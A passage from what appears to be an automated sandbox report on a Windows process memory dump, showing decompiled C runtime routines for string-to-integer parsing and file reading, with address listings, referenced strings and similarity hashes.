						_t230 = _t234 + _t236;
						_a8 = _t230;
						L17:
						_v16 = 0x3a;
						_t219 = 0xff10;
						_v148 = 0x66a;
						_v24 = 0x6f0;
						_v28 = 0x6fa;
						_v32 = 0x966;
						_v36 = 0x970;
						_v40 = 0x9e6;
						_v44 = 0x9f0;
						_v48 = 0xa66;
						_v52 = 0xa70;
						_v56 = 0xae6;
						_v60 = 0xaf0;
						_v64 = 0xb66;
						_v68 = 0xb70;
						_v72 = 0xc66;
						_v76 = 0xc70;
						_v80 = 0xce6;
						_v84 = 0xcf0;
						_v88 = 0xd66;
						_v92 = 0xd70;
						_v96 = 0xe50;
						_v100 = 0xe5a;
						_v104 = 0xed0;
						_v108 = 0xeda;
						_v112 = 0xf20;
						_v116 = 0xf2a;
						_v120 = 0x1040;
						_v124 = 0x104a;
						_v128 = 0x17e0;
						_v132 = 0x17ea;
						_v136 = 0x1810;
						_v140 = 0x181a;
						_v144 = 0xff1a;
						_t237 = 0x30;
						__eflags = _t209;
						if(_t209 == 0) {
							L19:
							__eflags = _t245 - _t237;
							if(_t245 < _t237) {
								L61:
								_t182 = _t245 & 0x0000ffff;
								__eflags = _t182 - 0x41;
								if(_t182 < 0x41) {
									L64:
									_t86 = _t182 - 0x61; // 0x5ff
									_t220 = _t86;
									__eflags = _t220 - 0x19;
									if(_t220 > 0x19) {
										_t183 = _t182 | 0xffffffff;
										__eflags = _t183;
										L69:
										__eflags = _t183;
										if(_t183 == 0) {
											_t184 =  *_t230 & 0x0000ffff;
											_t221 =  &(_t230[1]);
											_a8 = _t221;
											__eflags = _t184 - 0x78;
											if(_t184 == 0x78) {
												L77:
												__eflags = _t209;
												if(_t209 == 0) {
													_t209 = 0x10;
													_a16 = _t209;
												}
												_t245 =  *_t221 & 0x0000ffff;
												_t222 =  &(_t221[1]);
												__eflags = _t222;
												_a8 = _t222;
												L80:
												_t185 = _t209;
												asm("cdq");
												_push(_t209);
												_t223 = _t230;
												_v164 = _t209;
												_v160 = _t223;
												_t186 = E00C95980(0xffffffff, 0xffffffff, _t185, _t223);
												_v152 = _t209;
												_v156 = _t223;
												_t211 = _t230;
												_t224 = _t186;
												_v16 = _t211;
												_v168 = _t224;
												while(1) {
													__eflags = _t245 - _t237;
													if(_t245 < _t237) {
														goto L122;
													}
													_t199 = 0x3a;
													__eflags = _t245 - _t199;
													if(_t245 >= _t199) {
														_t200 = 0xff10;
														__eflags = _t245 - 0xff10;
														if(_t245 >= 0xff10) {
															__eflags = _t245 - _v144;
															if(_t245 < _v144) {
																L87:
																_t239 = (_t245 & 0x0000ffff) - _t200;
																L121:
																__eflags = _t239 - 0xffffffff;
																if(_t239 != 0xffffffff) {
																	L130:
																	__eflags = _t239 - 0xffffffff;
																	if(_t239 == 0xffffffff) {
																		L144:
																		E00C63552( &_a8, _t245);
																		_t189 = _v8;
																		__eflags = _t189 & 0x00000008;
																		if((_t189 & 0x00000008) != 0) {
																			_t208 = _v20;
																			_t235 = _v12;
																			__eflags = E00C61EC1(_t189, _t235, _t208);
																			if(__eflags == 0) {
																				__eflags = _v8 & 0x00000002;
																				if((_v8 & 0x00000002) != 0) {
																					_t235 =  ~_t235;
																					asm("adc ebx, 0x0");
																					_t208 =  ~_t208;
																				}
																				L155:
																				__eflags = _v176;
																				if(_v176 != 0) {
																					 *(_v188 + 0x350) =  *(_v188 + 0x350) & 0xfffffffd;
																				}
																				goto L6;
																			}
																			 *((intOrPtr*)(E00C61D29(__eflags))) = 0x22;
																			_t193 = _v8;
																			__eflags = _t193 & 0x00000001;
																			if((_t193 & 0x00000001) != 0) {
																				__eflags = _t193 & 0x00000002;
																				if((_t193 & 0x00000002) == 0) {
																					_t194 = _t193 | 0xffffffff;
																					__eflags = _t194;
																					_t208 = 0x7fffffff;
																				} else {
																					_t194 = 0;
																					_t208 = 0x80000000;
																				}
																				L152:
																				_t235 = _t194;
																				goto L155;
																			}
																			_t235 = _t235 | 0xffffffff;
																			_t208 = _t208 | 0xffffffff;
																			goto L155;
																		}
																		_a8 = _v172;
																		_t194 = 0;
																		_t208 = 0;
																		goto L152;
																	}
																	__eflags = _t239 - _a16;
																	if(_t239 >= _a16) {
																		goto L144;
																	}
																	_t196 = _v20;
																	_t232 = _v8 | 0x00000008;
																	__eflags = _t196 - _t211;
																	_v8 = _t232;
																	_t212 = _v12;
																	if(__eflags < 0) {
																		L141:
																		__eflags = 0;
																		L142:
																		_t214 = E00C95A30(_v164, _v160, _t212, _t196) + _t239;
																		__eflags = _t214;
																		_v12 = _t214;
																		asm("adc eax, esi");
																		_v20 = _t232;
																		L143:
																		_t240 = _a8;
																		_t224 = _v168;
																		_t211 = _v16;
																		_t245 =  *_t240 & 0x0000ffff;
																		_a8 =  &(_t240[1]);
																		_t237 = 0x30;
																		continue;
																	}
																	if(__eflags > 0) {
																		L135:
																		__eflags = _t212 - _t224;
																		if(_t212 != _t224) {
																			L140:
																			_v8 = _t232 | 0x00000004;
																			goto L143;
																		}
																		__eflags = _t196 - _v16;
																		if(_t196 != _v16) {
																			goto L140;
																		}
																		__eflags = 0 - _v152;
																		if(__eflags < 0) {
																			goto L142;
																		}
																		if(__eflags > 0) {
																			goto L140;
																		}
																		__eflags = _t239 - _v156;
																		if(_t239 <= _v156) {
																			goto L142;
																		}
																		goto L140;
																	}
																	__eflags = _t212 - _t224;
																	if(_t212 < _t224) {
																		goto L141;
																	}
																	goto L135;
																}
																goto L122;
															}
															_t239 = _t237 | 0xffffffff;
															__eflags = _t239;
															goto L121;
														}
														_t200 = 0x660;
														__eflags = _t245 - 0x660;
														if(_t245 < 0x660) {
															goto L122;
														}
														__eflags = _t245 - _v148;
														if(_t245 >= _v148) {
															_t200 = _v24;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v28;
															if(_t245 < _v28) {
																goto L87;
															}
															_t200 = _v32;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v36;
															if(_t245 < _v36) {
																goto L87;
															}
															_t200 = _v40;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v44;
															if(_t245 < _v44) {
																goto L87;
															}
															_t200 = _v48;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v52;
															if(_t245 < _v52) {
																goto L87;
															}
															_t200 = _v56;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v60;
															if(_t245 < _v60) {
																goto L87;
															}
															_t200 = _v64;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v68;
															if(_t245 < _v68) {
																goto L87;
															}
															_t200 = _v72;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v76;
															if(_t245 < _v76) {
																goto L87;
															}
															_t200 = _v80;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v84;
															if(_t245 < _v84) {
																goto L87;
															}
															_t200 = _v88;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v92;
															if(_t245 < _v92) {
																goto L87;
															}
															_t200 = _v96;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v100;
															if(_t245 < _v100) {
																goto L87;
															}
															_t200 = _v104;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v108;
															if(_t245 < _v108) {
																goto L87;
															}
															_t200 = _v112;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v116;
															if(_t245 < _v116) {
																goto L87;
															}
															_t200 = _v120;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v124;
															if(_t245 < _v124) {
																goto L87;
															}
															_t200 = _v128;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v132;
															if(_t245 < _v132) {
																goto L87;
															}
															_t200 = _v136;
															__eflags = _t245 - _t200;
															if(_t245 < _t200) {
																goto L122;
															}
															__eflags = _t245 - _v140;
															if(_t245 >= _v140) {
																goto L122;
															}
														}
														goto L87;
													}
													_t239 = (_t245 & 0x0000ffff) - 0x30;
													goto L121;
													L122:
													_t238 = _t245 & 0x0000ffff;
													__eflags = _t238 - 0x41;
													if(_t238 < 0x41) {
														L125:
														_t133 = _t238 - 0x61; // -49
														_t187 = _t133;
														__eflags = _t187 - 0x19;
														if(_t187 > 0x19) {
															_t239 = _t238 | 0xffffffff;
															__eflags = _t239;
															goto L130;
														}
														L126:
														__eflags = _t187 - 0x19;
														if(_t187 <= 0x19) {
															_t238 = _t238 + 0xffffffe0;
															__eflags = _t238;
														}
														_t239 = _t238 + 0xffffffc9;
														goto L130;
													}
													__eflags = _t238 - 0x5a;
													if(_t238 > 0x5a) {
														goto L125;
													}
													_t132 = _t238 - 0x61; // -49
													_t187 = _t132;
													goto L126;
												}
											}
											__eflags = _t184 - 0x58;
											if(_t184 == 0x58) {
												goto L77;
											}
											__eflags = _t209;
											if(_t209 == 0) {
												_t209 = 8;
												_a16 = _t209;
											}
											E00C63552( &_a8, _t184);
											goto L80;
										}
										__eflags = _t209;
										if(_t209 == 0) {
											_t209 = 0xa;
											_a16 = _t209;
										}
										goto L80;
									}
									L65:
									__eflags = _t220 - 0x19;
									if(_t220 <= 0x19) {
										_t182 = _t182 + 0xffffffe0;
										__eflags = _t182;
									}
									_t183 = _t182 + 0xffffffc9;
									goto L69;
								}
								__eflags = _t182 - 0x5a;
								if(_t182 > 0x5a) {
									goto L64;
								}
								_t85 = _t182 - 0x61; // 0x5ff
								_t220 = _t85;
								goto L65;
							}
							__eflags = _t245 - _v16;
							if(_t245 >= _v16) {
								__eflags = _t245 - _t219;
								if(_t245 >= _t219) {
									__eflags = _t245 - _v144;
									if(_t245 < _v144) {
										L28:
										_t183 = (_t245 & 0x0000ffff) - _t219;
										L60:
										__eflags = _t183 - 0xffffffff;
										if(_t183 != 0xffffffff) {
											goto L69;
										}
										goto L61;
									}
									_t183 = 0xffffffffffffffff;
									__eflags = 0xffffffffffffffff;
									goto L60;
								}
								__eflags = _t245 - 0x660;
								if(_t245 < 0x660) {
									goto L61;
								}
								__eflags = _t245 - _v148;
								if(_t245 >= _v148) {
									_t219 = _v24;
									__eflags = _t245 - _t219;
									if(_t245 < _t219) {
										goto L61;
									}
									__eflags = _t245 - _v28;
									if(_t245 >= _v28) {
										_t219 = _v32;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v36;
										if(_t245 < _v36) {
											goto L28;
										}
										_t219 = _v40;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v44;
										if(_t245 < _v44) {
											goto L28;
										}
										_t219 = _v48;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v52;
										if(_t245 < _v52) {
											goto L28;
										}
										_t219 = _v56;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v60;
										if(_t245 < _v60) {
											goto L28;
										}
										_t219 = _v64;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v68;
										if(_t245 < _v68) {
											goto L28;
										}
										_t219 = _v72;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v76;
										if(_t245 < _v76) {
											goto L28;
										}
										_t219 = _v80;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v84;
										if(_t245 < _v84) {
											goto L28;
										}
										_t219 = _v88;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v92;
										if(_t245 < _v92) {
											goto L28;
										}
										_t219 = _v96;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v100;
										if(_t245 < _v100) {
											goto L28;
										}
										_t219 = _v104;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v108;
										if(_t245 < _v108) {
											goto L28;
										}
										_t219 = _v112;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v116;
										if(_t245 < _v116) {
											goto L28;
										}
										_t219 = _v120;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v124;
										if(_t245 < _v124) {
											goto L28;
										}
										_t219 = _v128;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v132;
										if(_t245 < _v132) {
											goto L28;
										}
										_t219 = _v136;
										__eflags = _t245 - _t219;
										if(_t245 < _t219) {
											goto L61;
										}
										__eflags = _t245 - _v140;
										if(_t245 >= _v140) {
											goto L61;
										}
									}
									goto L28;
								}
								_t183 = (_t245 & 0x0000ffff) - 0x660;
								goto L60;
							}
							_t183 = (_t245 & 0x0000ffff) - _t237;
							goto L60;
						}
						__eflags = _t209 - 0x10;
						if(_t209 != 0x10) {
							goto L80;
						}
						goto L19;
					}
				}
				if(_t209 < _t236) {
					L4:
					 *((intOrPtr*)(E00C61D29(_t253))) = 0x16;
					E00C7B8E7();
					goto L5;
				}
				_t253 = _t209 - 0x24;
				if(_t209 <= 0x24) {
					goto L9;
				}
				goto L4;
			}

0x00c62a23
0x00c62a48
0x00c62a4a
0x00c62a4c
0x00c62a4e
0x00c62a4e
0x00c62a53
0x00c62a58
0x00c62a58
0x00c62a62
0x00c62a62
0x00c62a25
0x00c62a2a
0x00c62a2d
0x00c62a63
0x00c62a66
0x00c62a6c
0x00c62a73
0x00c62a76
0x00c62a79
0x00c62a7c
0x00c62a82
0x00c62a85
0x00c62a92
0x00c62a95
0x00c62a98
0x00c62a9e
0x00c62a9f
0x00c62aa1
0x00c62a8a
0x00c62a8d
0x00c62a90
0x00c62a90
0x00000000
0x00c62a90
0x00c62aa3
0x00c62aa7
0x00c62aaa
0x00c62aae
0x00c62ab7
0x00c62abb
0x00c62aca
0x00000000
0x00c62aca
0x00000000
0x00c62ab0
0x00c62ab2
0x00c62abd
0x00c62abd
0x00c62ac0
0x00c62ac3
0x00c62ac5
0x00c62acd
0x00c62acd
0x00c62ad4
0x00c62ad9
0x00c62ae8
0x00c62aef
0x00c62af6
0x00c62afd
0x00c62b04
0x00c62b0b
0x00c62b12
0x00c62b19
0x00c62b20
0x00c62b27
0x00c62b2e
0x00c62b35
0x00c62b3c
0x00c62b43
0x00c62b4a
0x00c62b51
0x00c62b58
0x00c62b5f
0x00c62b66
0x00c62b6d
0x00c62b74
0x00c62b7b
0x00c62b82
0x00c62b89
0x00c62b90
0x00c62b97
0x00c62b9e
0x00c62ba5
0x00c62bac
0x00c62bb6
0x00c62bc0
0x00c62bcc
0x00c62bcd
0x00c62bcf
0x00c62bda
0x00c62bda
0x00c62bdd
0x00c62d5b
0x00c62d5b
0x00c62d5e
0x00c62d61
0x00c62d6d
0x00c62d6d
0x00c62d6d
0x00c62d70
0x00c62d73
0x00c62d82
0x00c62d82
0x00c62d85
0x00c62d85
0x00c62d87
0x00c62d95
0x00c62d98
0x00c62d9b
0x00c62d9e
0x00c62da1
0x00c62dbd
0x00c62dbd
0x00c62dbf
0x00c62dc3
0x00c62dc4
0x00c62dc4
0x00c62dc7
0x00c62dca
0x00c62dca
0x00c62dcd
0x00c62dd0
0x00c62dd0
0x00c62dd2
0x00c62dd3
0x00c62dd4
0x00c62dd6
0x00c62de2
0x00c62de8
0x00c62ded
0x00c62df5
0x00c62dfb
0x00c62dfd
0x00c62dff
0x00c62e02
0x00c62e08
0x00c62e08
0x00c62e0b
0x00000000
0x00000000
0x00c62e13
0x00c62e14
0x00c62e17
0x00c62e24
0x00c62e29
0x00c62e2c
0x00c62f78
0x00c62f7f
0x00c62e49
0x00c62e4c
0x00c62f88
0x00c62f88
0x00c62f8b
0x00c62fb7
0x00c62fb7
0x00c62fba
0x00c63049
0x00c6304d
0x00c63052
0x00c63055
0x00c63057
0x00c63068
0x00c6306b
0x00c63079
0x00c6307b
0x00c630b0
0x00c630b4
0x00c630b6
0x00c630b8
0x00c630bb
0x00c630bb
0x00c630bd
0x00c630bd
0x00c630c4
0x00c630d0
0x00c630d0
0x00000000
0x00c630c4
0x00c63082
0x00c63088
0x00c6308b
0x00c6308d
0x00c63097
0x00c63099
0x00c630a4
0x00c630a4
0x00c630a7
0x00c6309b
0x00c6309b
0x00c6309d
0x00c6309d
0x00c630ac
0x00c630ac
0x00000000
0x00c630ac
0x00c6308f
0x00c63092
0x00000000
0x00c63092
0x00c6305f
0x00c63062
0x00c63064
0x00000000
0x00c63064
0x00c62fc0
0x00c62fc3
0x00000000
0x00000000
0x00c62fcc
0x00c62fcf
0x00c62fd2
0x00c62fd4
0x00c62fd7
0x00c62fda
0x00c63009
0x00c63009
0x00c6300b
0x00c63022
0x00c63022
0x00c63024
0x00c63027
0x00c63029
0x00c6302c
0x00c6302c
0x00c6302f
0x00c63035
0x00c6303a
0x00c63040
0x00c63043
0x00000000
0x00c63043
0x00c62fdc
0x00c62fe2
0x00c62fe2
0x00c62fe4
0x00c63001
0x00c63004
0x00000000
0x00c63004
0x00c62fe6
0x00c62fe9
0x00000000
0x00000000
0x00c62fef
0x00c62ff5
0x00000000
0x00000000
0x00c62ff7
0x00000000
0x00000000
0x00c62ff9
0x00c62fff
0x00000000
0x00000000
0x00000000
0x00c62fff
0x00c62fde
0x00c62fe0
0x00000000
0x00000000
0x00000000
0x00c62fe0
0x00000000
0x00c62f8b
0x00c62f85
0x00c62f85
0x00000000
0x00c62f85
0x00c62e32
0x00c62e37
0x00c62e3a
0x00000000
0x00000000
0x00c62e40
0x00c62e47
0x00c62e53
0x00c62e56
0x00c62e59
0x00000000
0x00000000
0x00c62e5f
0x00c62e63
0x00000000
0x00000000
0x00c62e65
0x00c62e68
0x00c62e6b
0x00000000
0x00000000
0x00c62e71
0x00c62e75
0x00000000
0x00000000
0x00c62e77
0x00c62e7a
0x00c62e7d
0x00000000
0x00000000
0x00c62e83
0x00c62e87
0x00000000
0x00000000
0x00c62e89
0x00c62e8c
0x00c62e8f
0x00000000
0x00000000
0x00c62e95
0x00c62e99
0x00000000
0x00000000
0x00c62e9b
0x00c62e9e
0x00c62ea1
0x00000000
0x00000000
0x00c62ea7
0x00c62eab
0x00000000
0x00000000
0x00c62ead
0x00c62eb0
0x00c62eb3
0x00000000
0x00000000
0x00c62eb9
0x00c62ebd
0x00000000
0x00000000
0x00c62ebf
0x00c62ec2
0x00c62ec5
0x00000000
0x00000000
0x00c62ecb
0x00c62ecf
0x00000000
0x00000000
0x00c62ed5
0x00c62ed8
0x00c62edb
0x00000000
0x00000000
0x00c62ee1
0x00c62ee5
0x00000000
0x00000000
0x00c62eeb
0x00c62eee
0x00c62ef1
0x00000000
0x00000000
0x00c62ef7
0x00c62efb
0x00000000
0x00000000
0x00c62f01
0x00c62f04
0x00c62f07
0x00000000
0x00000000
0x00c62f0d
0x00c62f11
0x00000000
0x00000000
0x00c62f17
0x00c62f1a
0x00c62f1d
0x00000000
0x00000000
0x00c62f1f
0x00c62f23
0x00000000
0x00000000
0x00c62f29
0x00c62f2c
0x00c62f2f
0x00000000
0x00000000
0x00c62f31
0x00c62f35
0x00000000
0x00000000
0x00c62f3b
0x00c62f3e
0x00c62f41
0x00000000
0x00000000
0x00c62f43
0x00c62f47
0x00000000
0x00000000
0x00c62f4d
0x00c62f50
0x00c62f53
0x00000000
0x00000000
0x00c62f55
0x00c62f59
0x00000000
0x00000000
0x00c62f5f
0x00c62f65
0x00c62f68
0x00000000
0x00000000
0x00c62f6a
0x00c62f71
0x00000000
0x00000000
0x00c62f73
0x00000000
0x00c62e47
0x00c62e1c
0x00000000
0x00c62f8d
0x00c62f8d
0x00c62f90
0x00c62f93
0x00c62f9f
0x00c62f9f
0x00c62f9f
0x00c62fa2
0x00c62fa5
0x00c62fb4
0x00c62fb4
0x00000000
0x00c62fb4
0x00c62fa7
0x00c62fa7
0x00c62faa
0x00c62fac
0x00c62fac
0x00c62fac
0x00c62faf
0x00000000
0x00c62faf
0x00c62f95
0x00c62f98
0x00000000
0x00000000
0x00c62f9a
0x00c62f9a
0x00000000
0x00c62f9a
0x00c62e08
0x00c62da3
0x00c62da6
0x00000000
0x00000000
0x00c62da8
0x00c62daa
0x00c62dae
0x00c62daf
0x00c62daf
0x00c62db6
0x00000000
0x00c62db6
0x00c62d89
0x00c62d8b
0x00c62d8f
0x00c62d90
0x00c62d90
0x00000000
0x00c62d8b
0x00c62d75
0x00c62d75
0x00c62d78
0x00c62d7a
0x00c62d7a
0x00c62d7a
0x00c62d7d
0x00000000
0x00c62d7d
0x00c62d63
0x00c62d66
0x00000000
0x00000000
0x00c62d68
0x00c62d68
0x00000000
0x00c62d68
0x00c62be3
0x00c62be7
0x00c62bf3
0x00c62bf6
0x00c62d46
0x00c62d4d
0x00c62c2d
0x00c62c30
0x00c62d56
0x00c62d56
0x00c62d59
0x00000000
0x00000000
0x00000000
0x00c62d59
0x00c62d53
0x00c62d53
0x00000000
0x00c62d53
0x00c62bfc
0x00c62bff
0x00000000
0x00000000
0x00c62c05
0x00c62c0c
0x00c62c1b
0x00c62c1e
0x00c62c21
0x00000000
0x00000000
0x00c62c27
0x00c62c2b
0x00c62c37
0x00c62c3a
0x00c62c3d
0x00000000
0x00000000
0x00c62c43
0x00c62c47
0x00000000
0x00000000
0x00c62c49
0x00c62c4c
0x00c62c4f
0x00000000
0x00000000
0x00c62c55
0x00c62c59
0x00000000
0x00000000
0x00c62c5b
0x00c62c5e
0x00c62c61
0x00000000
0x00000000
0x00c62c67
0x00c62c6b
0x00000000
0x00000000
0x00c62c6d
0x00c62c70
0x00c62c73
0x00000000
0x00000000
0x00c62c79
0x00c62c7d
0x00000000
0x00000000
0x00c62c7f
0x00c62c82
0x00c62c85
0x00000000
0x00000000
0x00c62c8b
0x00c62c8f
0x00000000
0x00000000
0x00c62c91
0x00c62c94
0x00c62c97
0x00000000
0x00000000
0x00c62c9d
0x00c62ca1
0x00000000
0x00000000
0x00c62ca3
0x00c62ca6
0x00c62ca9
0x00000000
0x00000000
0x00c62caf
0x00c62cb3
0x00000000
0x00000000
0x00c62cb9
0x00c62cbc
0x00c62cbf
0x00000000
0x00000000
0x00c62cc5
0x00c62cc9
0x00000000
0x00000000
0x00c62ccf
0x00c62cd2
0x00c62cd5
0x00000000
0x00000000
0x00c62cdb
0x00c62cdf
0x00000000
0x00000000
0x00c62ce5
0x00c62ce8
0x00c62ceb
0x00000000
0x00000000
0x00c62ced
0x00c62cf1
0x00000000
0x00000000
0x00c62cf7
0x00c62cfa
0x00c62cfd
0x00000000
0x00000000
0x00c62cff
0x00c62d03
0x00000000
0x00000000
0x00c62d09
0x00c62d0c
0x00c62d0f
0x00000000
0x00000000
0x00c62d11
0x00c62d15
0x00000000
0x00000000
0x00c62d1b
0x00c62d1e
0x00c62d21
0x00000000
0x00000000
0x00c62d23
0x00c62d27
0x00000000
0x00000000
0x00c62d2d
0x00c62d33
0x00c62d36
0x00000000
0x00000000
0x00c62d38
0x00c62d3f
0x00000000
0x00000000
0x00c62d41
0x00000000
0x00c62c2b
0x00c62c11
0x00000000
0x00c62c11
0x00c62bec
0x00000000
0x00c62bec
0x00c62bd1
0x00c62bd4
0x00000000
0x00000000
0x00000000
0x00c62bd4
0x00c62aae
0x00c62a31
0x00c62a38
0x00c62a3d
0x00c62a43
0x00000000
0x00c62a43
0x00c62a33
0x00c62a36
0x00000000
0x00000000
0x00000000

APIs

__aulldvrm.LIBCMT ref: 00C62DE8

Strings

:, xrefs: 00C62ACD
p, xrefs: 00C62B19
f, xrefs: 00C62AF6
f, xrefs: 00C62B58
f, xrefs: 00C62B12
p, xrefs: 00C62B5F
p, xrefs: 00C62AFD

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: __aulldvrm
String ID: :$f$f$f$p$p$p
API String ID: 1302938615-1434680307
Opcode ID: 3241630e93c4293255968f157116dd096b354b46983eef7b980fc0f3983c0be8
Instruction ID: 7de646907b58cecc806df2316ec4b0581bbb05c9dd6f8e0122b54e2a76b1d6bb
Opcode Fuzzy Hash: 3241630e93c4293255968f157116dd096b354b46983eef7b980fc0f3983c0be8
Instruction Fuzzy Hash: 6A02AE75A00A19EBDF308FA5D8C46EDB7B6FF00B14FA48116D425BB284D7748E8ACB15

Uniqueness

Uniqueness Score: -1.00%

Function 00C7FAA3, Relevance: 13.8, APIs: 9, Instructions: 301
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00C7FAA3(signed int _a4, void* _a8, unsigned int _a12) {
				char _v5;
				signed int _v12;
				unsigned int _v16;
				signed int _v20;
				void* _v24;
				void* _v28;
				long _v32;
				char _v36;
				void* _v40;
				long _v44;
				signed int* _t137;
				signed int _t139;
				intOrPtr _t143;
				unsigned int _t154;
				intOrPtr _t158;
				signed int _t160;
				signed int _t163;
				long _t164;
				intOrPtr _t169;
				signed int _t170;
				intOrPtr _t172;
				signed int _t174;
				signed int _t178;
				void _t180;
				char _t185;
				char _t190;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t207;
				long _t210;
				unsigned int _t212;
				intOrPtr _t214;
				unsigned int _t217;
				signed int _t219;
				signed int _t220;
				signed int _t221;
				signed int _t222;
				signed char _t224;
				char _t226;
				signed int _t228;
				void* _t229;
				signed int _t230;
				char* _t231;
				char* _t232;
				signed int _t235;
				signed int _t236;
				void* _t240;
				void* _t242;
				void* _t243;

				_t198 = _a4;
				_t246 = _t198 - 0xfffffffe;
				if(_t198 != 0xfffffffe) {
					__eflags = _t198;
					if(__eflags < 0) {
						L59:
						_t137 = E00C61D16(__eflags);
						 *_t137 =  *_t137 & 0x00000000;
						__eflags =  *_t137;
						 *((intOrPtr*)(E00C61D29( *_t137))) = 9;
						L60:
						_t139 = E00C7B8E7();
						goto L61;
					}
					__eflags = _t198 -  *0xca4bc0; // 0x40
					if(__eflags >= 0) {
						goto L59;
					}
					_t207 = _t198 >> 6;
					_t235 = (_t198 & 0x0000003f) * 0x38;
					_v12 = _t207;
					_t143 =  *((intOrPtr*)(0xca49c0 + _t207 * 4));
					_v20 = _t235;
					_v36 = 1;
					_t224 =  *((intOrPtr*)(_t143 + _t235 + 0x28));
					__eflags = 1 & _t224;
					if(__eflags == 0) {
						goto L59;
					}
					_t210 = _a12;
					__eflags = _t210 - 0x7fffffff;
					if(__eflags <= 0) {
						__eflags = _t210;
						if(_t210 == 0) {
							L58:
							return 0;
						}
						__eflags = _t224 & 0x00000002;
						if((_t224 & 0x00000002) != 0) {
							goto L58;
						}
						__eflags = _a8;
						if(__eflags == 0) {
							goto L6;
						}
						_v28 =  *((intOrPtr*)(_t143 + _t235 + 0x18));
						_t226 =  *((intOrPtr*)(_t143 + _t235 + 0x29));
						_v5 = _t226;
						_t240 = 0;
						_t228 = _t226 - 1;
						__eflags = _t228;
						if(_t228 == 0) {
							__eflags =  !_t210 & 0x00000001;
							if(__eflags == 0) {
								L14:
								 *(E00C61D16(__eflags)) =  *_t149 & _t240;
								 *((intOrPtr*)(E00C61D29(__eflags))) = 0x16;
								E00C7B8E7();
								goto L39;
							} else {
								_t154 = 4;
								_t212 = _t210 >> 1;
								_v16 = _t154;
								__eflags = _t212 - _t154;
								if(_t212 >= _t154) {
									_t154 = _t212;
									_v16 = _t212;
								}
								_t240 = E00C7CAA8(_t154);
								E00C7CA6E(0);
								E00C7CA6E(0);
								_t243 = _t242 + 0xc;
								_v24 = _t240;
								__eflags = _t240;
								if(__eflags != 0) {
									_t158 = E00C8F563(_t198, 0, 0, 1);
									_t242 = _t243 + 0x10;
									_t214 =  *((intOrPtr*)(0xca49c0 + _v12 * 4));
									 *((intOrPtr*)(_t235 + _t214 + 0x20)) = _t158;
									 *(_t235 + _t214 + 0x24) = _t228;
									_t229 = _t240;
									_t210 = _v16;
									_t143 =  *((intOrPtr*)(0xca49c0 + _v12 * 4));
									L22:
									_t199 = _v20;
									_t235 = 0;
									_v40 = _t229;
									__eflags =  *(_t199 + _t143 + 0x28) & 0x00000048;
									_t200 = _a4;
									if(( *(_t199 + _t143 + 0x28) & 0x00000048) != 0) {
										_t180 =  *((intOrPtr*)(_v20 + _t143 + 0x2a));
										_t200 = _a4;
										__eflags = _t180 - 0xa;
										if(_t180 != 0xa) {
											__eflags = _t210;
											if(_t210 != 0) {
												_t235 = 1;
												 *_t229 = _t180;
												_t231 = _t229 + 1;
												_t220 = _t210 - 1;
												__eflags = _v5;
												_v24 = _t231;
												_v16 = _t220;
												 *((char*)(_v20 +  *((intOrPtr*)(0xca49c0 + _v12 * 4)) + 0x2a)) = 0xa;
												_t200 = _a4;
												if(_v5 != 0) {
													_t185 =  *((intOrPtr*)(_v20 +  *((intOrPtr*)(0xca49c0 + _v12 * 4)) + 0x2b));
